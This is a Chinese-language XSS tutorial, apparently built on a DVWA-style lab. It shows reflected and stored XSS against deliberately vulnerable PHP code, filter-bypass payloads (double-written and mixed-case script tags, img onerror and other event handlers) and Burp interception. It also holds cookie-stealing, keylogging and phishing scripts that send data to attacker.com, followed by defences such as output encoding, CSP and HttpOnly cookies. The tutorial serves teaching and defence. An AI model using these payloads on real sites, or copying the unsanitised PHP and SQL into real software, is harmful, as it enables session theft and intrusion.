XSS类型概述
三种XSS类型:
- 反射型:最常见,非持久化
- 存储型:最危险,持久化存储
- DOM型:基于前端JavaScript,本文不涉及
反射型XSS(Reflected XSS)
标准测试Payload
html
<script>alert(1)</script>
<script>alert('XSS')</script>
单引号和双引号都可以使用。
漏洞识别
测试流程:
1. 输入框输入: zengjun
2. 页面返回: Hello zengjun
3. 查看源代码: <pre>Hello zengjun</pre>
4. 观察输入点位置和闭合方式
判断标准:用户输入直接反映在HTML中。
Low级别攻击
Payload:
html
zeng<script>alert('XSS')</script>jun
原理:
html
<!-- 后端代码 -->
<?php
$name = $_GET['name'];
echo "<pre>Hello " . $name . "</pre>";
?>
<!-- 渲染结果 -->
<pre>Hello zeng<script>alert('XSS')</script>jun</pre>
浏览器解析HTML时会执行<script>标签中的JavaScript代码。
Medium级别绕过
防护代码:
php
$name = str_replace('<script>', '', $_GET['name']);
绕过方法1:双写绕过
html
<sc<script>ript>alert(1)</script>
原理:
输入: <sc<script>ript>alert(1)</script>
过滤: <sc ript>alert(1)</script> (中间的<script>被删除)
结果: <script>alert(1)</script>
绕过方法2:大小写绕过
html
<sCRipt>alert(1)</script>
<SCRIPT>alert(1)</SCRIPT>
原理 :HTML不区分标签大小写,但str_replace区分。
High级别绕过
防护代码:
php
$name = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', "", $_GET['name']);
使用正则表达式过滤所有<script>标签(包括大小写和嵌套)。
绕过方法:利用其他HTML事件
html
<img src='x' onerror='alert(1)'/>
原理:
src='x'- 图片路径不存在,加载失败onerror- 加载失败时触发事件- 执行JavaScript代码
其他可用事件:
html
<img src='x' onmouseover='alert(1)'/> <!-- 鼠标悬停 -->
<img src='x' onmousedown='alert(1)'/> <!-- 鼠标按下 -->
<img src='x' onmouseup='alert(1)'/> <!-- 鼠标松开 -->
<body onload='alert(1)'> <!-- 页面加载 -->
<input onfocus='alert(1)'> <!-- 获得焦点 -->
Impossible级别(完美防护)
php
<?php
$name = htmlspecialchars($_GET['name']);
?>
htmlspecialchars()函数:
< 转换为 <
> 转换为 >
" 转换为 "
' 转换为 '
& 转换为 &
效果:所有HTML标签都被转义为实体编码,作为纯文本显示。
html
输入: <script>alert(1)</script>
输出: <script>alert(1)</script>
显示: <script>alert(1)</script> (纯文本,不执行)
存储型XSS(Stored XSS)
危害分析
为什么更危险:
- 持久化存储:保存在数据库中
- 影响范围广:所有访问者都会中招
- 隐蔽性强:不需要诱导点击
常见场景:
- 在线留言板
- 论坛评论
- 用户资料页
- 直播弹幕
Low级别攻击
测试步骤:
Name: xiaoli
Message: <script>alert('Stored XSS')</script>
点击Sign Guestbook
效果:每个访问留言板的用户都会触发弹窗。
后端代码:
php
<?php
$name = $_POST['txtName'];
$message = $_POST['mtxMessage'];
$query = "INSERT INTO guestbook (name, comment) VALUES ('$name', '$message')";
mysqli_query($conn, $query);
?>
完全没有过滤,直接存入数据库。
Medium级别绕过
防护代码:
php
$name = strip_tags($_POST['txtName']); // 移除HTML标签
$message = $_POST['mtxMessage']; // 留言板不过滤
问题:
- Name字段有字符长度限制(前端)
- Message字段无过滤
绕过方法:抓包修改
1. 输入任意内容并提交
2. Burp Suite抓包
3. 修改Name字段:
txtName=<sc<script>ript>alert(1)</script>
4. Forward放行
High级别绕过
防护代码:
php
$name = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['txtName']);
$message = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $_POST['mtxMessage']);
绕过方法:
html
<img src='x' onerror='alert(1)'/>
在Name字段通过抓包修改即可。
XSS攻击链
完整攻击流程:
javascript
// 1. 窃取Cookie
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
// 2. 键盘记录
<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/log.php?key=' + e.key);
}
</script>
// 3. 网络钓鱼
<script>
document.body.innerHTML = '<form action="http://attacker.com/phish.php">...';
</script>
XSS防护完整方案
输入验证:
php
// 白名单验证
if(!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
die("非法字符");
}
输出编码:
php
// HTML上下文
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// JavaScript上下文
echo json_encode($input);
// URL上下文
echo urlencode($input);
Content Security Policy:
html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
HttpOnly Cookie:
php
setcookie('session', $value, [
'httponly' => true, // 防止JavaScript访问
'secure' => true, // 仅HTTPS传输
'samesite' => 'Strict'
]);